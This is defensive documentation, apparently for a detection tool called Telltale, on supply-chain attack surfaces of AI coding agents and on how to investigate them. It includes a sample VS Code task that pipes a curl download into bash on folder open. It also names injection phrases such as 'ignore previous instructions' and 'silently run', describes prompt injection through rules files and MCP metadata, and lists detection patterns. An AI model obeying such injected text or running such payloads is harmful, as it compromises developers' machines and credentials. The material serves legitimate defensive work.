Supply Chain Surfaces

What changed

Traditional software supply chain work looks at package registries, dependency lockfiles, build scripts, and release tokens. Agentic development adds new control planes: prompt files, MCP tool metadata, skills, editor plugins, cloud agent configuration, inference gateways, and model-routing policy. These surfaces may not contain vulnerable code. They may contain instructions that convince an agent to create, run, fetch, publish, or exfiltrate code through legitimate tools.

High-value surface map

Start with the surfaces most likely to change agent behavior or execute code:

• Repository agent configuration: .claude/, .gemini/, .cursor/, .codex/, .qwen/, .openclaw/, opencode configuration, project instruction files, rules files, and local MCP config.
• MCP and tool metadata: server instructions, tool descriptions, parameter descriptions, tool annotations, tools/list responses, tool results, and tool-call-shaped text.
• Skills and plugins: project skills, plugin marketplaces, plugin hooks, plugin MCP servers, plugin-bundled scripts, LSP servers, background monitors, and tool pre-approval rules.
• Editor and IDE configuration: .vscode/tasks.json, .vscode/settings.json, workspace files, devcontainer configuration, extension recommendations, Cursor rules, and extension-specific settings.
• Inference providers and aggregators: OpenRouter, LiteLLM, provider gateways, model aliases, fallback lists, allowed-model filters, budget routing, session stickiness, and API key scopes.
• Dependency execution: package.json scripts, npm prepare/postinstall/pretest hooks, pnpm/yarn/bun equivalents, Python build backends, cargo build scripts, git dependencies, npx/pnpm dlx one-shot installers, and generated lockfile changes.
• Cloud agent setup: GitHub Copilot repository MCP configuration, copilot setup workflows, agent secrets, Actions permissions, and repository-level tools available to cloud agents or code review agents.

Evidence to look for

• New or changed agent configuration directories, especially in commits that otherwise look like documentation, formatting, or dependency maintenance.
• Tool descriptions, parameter descriptions, or rules files that contain imperatives such as ignore previous instructions, silently run, call this tool, read credentials, disable confirmation, or do not tell the user.
• Project skills with allowed-tools, disallowed-tools, context: fork, hooks, dynamic shell injection, bundled scripts, or supporting files that the skill tells the agent to execute.
• Plugin marketplace entries that point to unpinned branches, npm packages, git subdirectories, remote zip archives, or sources outside an approved organization.
• Inference configuration that changed model aliases, provider allowlists, fallback order, default base URLs, routing plugins, budget policy, or API keys.
• IDE tasks with runOn: folderOpen, shell/process commands, problem matchers that run tools, debug configurations, extension settings that point to workspace executables, or workspace trust overrides.
• Lifecycle scripts that fetch remote content, run shell interpreters, build native code, modify shell profiles, read credential paths, or publish packages.
• Agent session records showing the first tool calls after repository open: shell commands, package-manager execution, curl/wget/fetch, MCP tool calls, credential file reads, or package publishing.
• Network, gateway, SIEM, shell history, package-manager logs, editor logs, cloud-agent logs, and provider audit records that line up with the agent session timeline.

Tool injection

Tool injection is content that imitates, redefines, or steers tool use. It can appear as explicit tool-call syntax, poisoned MCP metadata, fake function-call JSON, or prose that tells the agent to call a tool under false pretenses. The risk is highest when the injected content reaches a model that can call real tools without a clear human approval boundary.

• MCP tool descriptions and parameter descriptions are model-visible. Treat them as attacker-controlled unless the server and deployment path are trusted.
• Tool results are not ground truth. A tool can return text that says a command succeeded and now another command should run. That is instruction-bearing content, not evidence of authorization.
• Tool-call-shaped text in model output, docs, issues, comments, or logs can confuse humans and parsers. Preserve whether it was executed, merely displayed, or copied into another prompt.
• Provider output is not inherently trusted. A routing proxy, compromised provider, or unexpected model can produce tool calls or tool-shaped content that differs from the expected model behavior.
• Forensics should separate tool availability from tool execution. A listed tool proves exposure. A session tool-call record, shell log, API audit event, or side effect proves use.

MCP server and tool metadata

MCP expands an agent by connecting it to servers that expose tools. The supply chain issue is not only the server binary. It is also the metadata the server sends into the model context and the permissions the client grants to those tools.

• Inspect server command paths. Prefer pinned local binaries or reviewed internal packages over npx latest, remote shell wrappers, or mutable git branches.
• Inspect tool allowlists. A wildcard tools value is materially different from a small set of read-only tools.
• Inspect environment exposure. Env values should not be committed, but env variable names reveal which secrets a server expects.
• Preserve tools/list output when available. It captures the tool names, descriptions, schemas, and sometimes annotations that the model saw.
• Correlate MCP metadata with later tool calls. A poisoned description followed by credential access or egress is higher value than metadata alone.

Inference providers and aggregators

Inference providers, routers, and gateways are supply chain surfaces because they decide where prompts go, which model responds, what logs are kept, and which fallback path is used when a provider fails. OpenAI-compatible base URLs make these changes easy to hide in environment variables, settings files, or CI secrets.

• Provider routing changes the data path. A prompt that used to go to one provider may start going through a third-party gateway, an internal LiteLLM proxy, or an auto-router.
• Model aliases and latest aliases change behavior over time. A stable-looking model string may resolve to a newer model without a code change.
• Auto-routing can select different models for different prompts. Preserve the response model field, provider metadata, session_id, and router logs when available.
• Fallbacks can cross policy boundaries. A fallback from an approved enterprise provider to an unapproved external provider can expose prompts, code, secrets, or customer context.
• Budget routing is a control plane. Spend limits, provider budgets, and tag budgets can force traffic to another provider or produce denial behavior that changes agent decisions.
• Gateway logs are evidence. Preserve request IDs, timestamps, model requested, model served, provider served, token usage, error/fallback reason, API key or team ID, route policy version, and redaction status.
• Do not treat a model response as intent. Provider output remains untrusted content until it is tied to user request, policy, approval, and observed tool execution.

Skills and plugin distribution

Agent skills and plugins package instructions, scripts, hooks, tools, agents, MCP servers, and background behavior into reusable units. They are useful, but they are also a new dependency format for agent behavior. Installing a skill or plugin should be treated more like installing a development tool than copying a markdown checklist.

• Project skills can live inside the repository. Review .claude/skills/*/SKILL.md and nested .claude/skills directories before trusting the workspace.
• Skill frontmatter can influence tool approval. allowed-tools can pre-approve commands while a skill is active; disable-model-invocation controls whether the model can invoke it automatically.
• Dynamic context injection can run shell commands before the model sees the skill. Look for !`command` and fenced command blocks in skill content.
• Skills can include supporting scripts and reference files. The short SKILL.md may be benign while the referenced script performs the risky behavior.
• Plugins can bundle skills, agents, hooks, MCP servers, LSP servers, monitors, bin directories, and default settings. Review the whole plugin tree, not just the skill text.
• Plugin marketplaces and npm-backed plugin sources introduce normal dependency risks: unpinned refs, mutable tags, stale versions, transitive dependencies, and compromised maintainers.
• One-shot installers such as npx or package-manager dlx commands are high-risk when they fetch latest by default. Preserve the exact package name, version, resolved tarball, integrity hash, registry, and command arguments.

Code editor plugins and workspaces

Editors sit between source code, terminals, extensions, AI agents, and developer credentials. A malicious repository can target the editor even when the agent itself is locked down.

• Workspace Trust is a real boundary. In VS Code Restricted Mode, agents, terminal, tasks, debugging, workspace settings, and some extensions are disabled or limited.
• Do not override workspace trust for unknown repositories just to make an AI feature work. The trust click is a security decision.
• Extensions can execute code and may read workspace content. Confirm publisher, version, install source, extension ID, and whether the extension supports restricted workspaces.
• Extension settings can be the payload. A benign extension can become dangerous when workspace settings point it at a malicious executable in the repository.
• Forensics should preserve editor logs, workspace trust state, extension list, extension versions, task definitions, debug configs, and first terminal commands after workspace open.

Dependency execution

Dependencies remain one of the most reliable ways to reach a developer machine. Agentic workflows increase the risk because agents often run install, test, lint, build, and fix commands early in a task.

• npm install and npm ci can run preinstall, install, postinstall, prepublish, preprepare, prepare, and postprepare lifecycle scripts.
• npm test runs pretest, test, and posttest. A standard test request can execute attacker-controlled scripts.
• Git dependencies with prepare scripts are especially important because npm may install dependencies and run prepare before packaging and installing the dependency.
• Package-manager executables from dependencies are added to PATH during scripts. A script may call a local binary that came from node_modules rather than a system binary.
• Python, Rust, Go, Ruby, Java, and native build systems have equivalent execution points: build backends, build.rs, go generate, gem install hooks, Maven/Gradle plugins, Makefiles, and configure scripts.
• Lockfile changes are evidence. Preserve package-lock.json, pnpm-lock.yaml, yarn.lock, bun.lockb, uv.lock, Cargo.lock, go.sum, Gemfile.lock, and any generated SBOM or provenance files.
• For npx or dlx-style execution, preserve the exact command, resolved package version, registry, cache path, integrity metadata, and whether latest or a pinned version was used.

Cloud agent and code-review surfaces

Cloud agents and code-review agents move part of the supply chain surface into repository settings and CI-like execution environments. The evidence may not exist on the developer workstation.

• Repository MCP configuration can expose tools to cloud agents and code-review agents. Some platforms allow these tools to be used autonomously after configuration.
• Agent secrets and variables define what external systems the cloud agent can reach. Preserve secret names, scopes, creation/update timestamps, and environment names without exposing secret values.
• Setup workflows install dependencies and authenticate providers before the agent starts work. Review copilot setup workflows, Actions permissions, OIDC claims, and third-party actions.
• Default read-only tools can become broader if a personal access token or wider toolset is configured. Record the effective token scope and toolset, not just the default documentation state.
• Forensics should collect cloud-agent session logs, workflow logs, MCP startup logs, tool call logs, PR timeline events, Actions audit logs, and repository setting change history.

Common pitfalls

• Reviewing only package dependencies while ignoring agent, MCP, skill, plugin, editor, and provider configuration.
• Assuming markdown and rules files are harmless because they do not contain code.
• Treating tool descriptions as documentation instead of model-visible instruction-bearing input.
• Assuming the configured model is the model that actually answered. Routers and fallbacks can change the served model or provider.
• Missing installer commands embedded in skills, plugin hooks, setup workflows, or package-manager one-shot commands.
• Opening a suspected repository in a trusted editor or AI agent before reviewing its configuration.
• Failing to collect gateway, provider, editor, and cloud-agent logs before retention windows expire.
• Presenting model output as user intent without corroborating the user prompt and approval state.

Weaponized repository configuration

A weaponized repository contains configuration files that trigger execution or steer agent behavior across multiple tools. The attacker plants files targeting AI coding agents, IDEs, package managers, and cloud agents in a single commit, maximizing the chance that a developer or review bot detonates the payload with an affected toolchain.

Session start hooks

Some AI coding tools support hooks or lifecycle events that run when a session starts, a prompt is submitted, a tool is used, a file changes, or a session ends. An attacker can embed a hook that downloads, executes, validates, or hides a payload during normal agent activity.

IDE auto-run tasks

Visual Studio Code supports tasks that can run when a folder is opened, using the runOn: folderOpen option in .vscode/tasks.json. Depending on user settings and prompts, an attacker can embed a task that executes a payload during the folder-open flow.

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "setup",
      "type": "shell",
      "command": "curl -fsSL https://example.com/payload.sh | bash",
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

Prompt injection via rules files

AI coding agents that use rules files, project instructions, skills, memory, or retrieved documentation can be targeted through prompt injection. An attacker embeds instructions that frame malicious behavior as project setup, quality checks, compliance work, or required tool use. The agent reads the text as part of its normal context and may carry it into tool calls.

Package manager hooks

Package managers support scripts and lifecycle hooks. Some run automatically during install or package preparation; others run when a developer or agent invokes a normal command such as npm test. An attacker can wire those scripts to download and run payloads, modify persistence surfaces, harvest credentials, or publish packages.

The trust model failure

These attacks succeed because they exploit legitimate features of developer tools. Hooks, auto-run tasks, rules files, skills, plugins, MCP servers, lifecycle scripts, and provider routers are designed to improve developer experience. The tools load or execute these configurations by design. From the tool's perspective, a project setup script, a tool description, or a model-routing rule may be normal behavior even when it was introduced by an attacker.

• The configuration files use valid formats and expected directory locations.
• No vulnerability in the tool is required; the tool behaves as designed.
• The attack can be indistinguishable from legitimate project configuration without provenance and intent review.
• Developers may not inspect agent, editor, MCP, skill, plugin, or provider configuration before opening a project.
• Standard code review may not flag markdown, JSON, TOML, YAML, or lockfile changes as execution-relevant.

The agent carcass

After an agentic event, the useful evidence is the carcass left behind: session records, tool calls, tool results, generated files, package-manager logs, editor logs, gateway logs, and external side effects. A repository review shows what could have happened. The carcass shows what the agent actually saw and did.

• Preserve raw agent session stores before normalization or redaction. Normalized records are useful for analysis but may lose fields.
• Preserve the repository commit, untracked files, submodules, lockfiles, local settings, and workspace trust state from the time of execution.
• Preserve tool exposure separately from tool execution: MCP configs, tools/list output, enabled plugins, enabled skills, allowed tools, and session tool calls.
• Preserve inference routing evidence: requested model, resolved model, provider, gateway route, fallback reason, API key or team identifier, and request ID.
• Preserve host side effects: shell history, process logs, package-manager cache, downloaded payloads, modified files, startup entries, network flows, and credential access telemetry.
• Preserve cloud side effects: PRs, branches, workflow runs, cloud-agent logs, repository setting changes, agent secrets metadata, and audit logs.

Forensic investigation

When investigating a suspected weaponized agent supply chain surface, follow a read-only workflow:

• Preserve the repository state before opening it in any AI tool or trusted IDE. Capture commit hash, branch, submodules, untracked files, file mtimes, and local configuration.
• Inventory all agent and editor configuration directories: .claude/, .gemini/, .cursor/, .codex/, .qwen/, .openclaw/, .vscode/, .devcontainer/, .github/, and unexpected dot-directories.
• Review skills, plugins, hooks, MCP servers, tasks, rules files, and project instructions as execution-relevant content, not as documentation-only content.
• Review package-manager files and lifecycle hooks. Include package.json scripts, lockfiles, git dependencies, local path dependencies, workspace packages, build backends, and generated package metadata.
• Review inference configuration. Identify base URLs, provider gateways, auto-router settings, model aliases, allowed model lists, fallback lists, budget routes, API key names, and environment variable sources.
• Review cloud-agent settings. Preserve repository MCP config, setup workflows, Actions permissions, agent secrets metadata, code-review agent settings, and audit events for recent changes.
• Check git history. Identify the commit, author, reviewer, PR, automation account, or compromised account that introduced each risky surface.
• Correlate with agent session records. Look for shell execution, package-manager runs, MCP tool calls, network downloads, credential reads, provider changes, or package publishing after the risky surface was loaded.
• Correlate with external logs. Use DNS, proxy, EDR, shell, package-manager, provider gateway, CI, cloud audit, and package registry logs to confirm side effects.
• Document uncertainty. Distinguish content present in the repository, content loaded into agent context, tool exposure, tool invocation, and external impact.

Controls that reduce blast radius

The best controls make the risky surface explicit before the agent can act:

• Open unfamiliar repositories in restricted or untrusted mode until agent, editor, MCP, skill, plugin, package, and provider configuration has been reviewed.
• Require explicit approval for shell, network, package-manager, file-write, credential-read, cloud, registry, and publish tools.
• Use allowlists for MCP servers, plugin marketplaces, skills, provider gateways, model families, and cloud-agent tools. Avoid wildcard tool access for untrusted repos.
• Pin plugin sources, npm packages, MCP server packages, model versions where possible, and setup actions. Prefer exact commit SHAs or signed releases for shared tooling.
• Disable or restrict skill shell execution, project hooks, and plugin hooks for untrusted workspaces where the client supports it.
• Route inference through approved gateways that log requested model, served model, provider, route policy, fallback reason, request ID, and redaction status.
• Run package installs in disposable containers or sandboxes without developer credentials mounted. Do the same for agent-generated setup commands.
• Separate release credentials from development credentials. Package publishing should require deliberate release workflow context and strong human approval.
• Set retention for agent sessions, gateway logs, editor logs, cloud-agent logs, and package-registry audit events long enough for incident response.

Detection considerations

Telltale does not currently detect weaponized repository configuration files, skills, plugins, IDE settings, inference-router configs, or package manifests directly as malicious repository content. It scans agent session stores and emits activity for supported static MCP inventory. If a risky surface triggers agent behavior that appears in a session record, the resulting behavior may match existing detection categories:

• tool_injection: tool.injection.shape detects tool-call-shaped content such as tool_calls, function_call, recipient_name, namespace, arguments, or tool_call tags in recorded session context.
• mcp_prompt_injection: mcp.tool_metadata.prompt_injection detects MCP metadata or tool result text paired with injection language such as ignore previous instructions, silently run, or bypass approval when that content is present in recorded session context.
• install: install.package_manager detects package-manager execution such as npm, pnpm, yarn, bun, pip, pipx, uv, cargo, go, brew, apt, dnf, or yum install-style commands.
• execution: execution.shell and execution.encoded_payload detect shell/interpreter execution and encoded payload decoding in tool calls.
• download: network.download detects curl, wget, aria2c, Invoke-WebRequest, iwr, or fetch download patterns.
• credential_harvesting: credential.cloud_harvest detects access to cloud, container, Kubernetes, Docker, Azure, GCP, and service-account credential paths.
• supply_chain: supply_chain.publish detects package publishing commands such as npm publish, pnpm publish, yarn publish, bun publish, twine upload, cargo publish, gem push, nuget push, and maven deploy.
• Chain modifiers: chain.download_then_execute, chain.mcp_injection_then_egress, chain.credential_then_publish, chain.harvest_then_exfil, and chain.mcp_enumeration_then_injection raise risk when categories appear within the same session.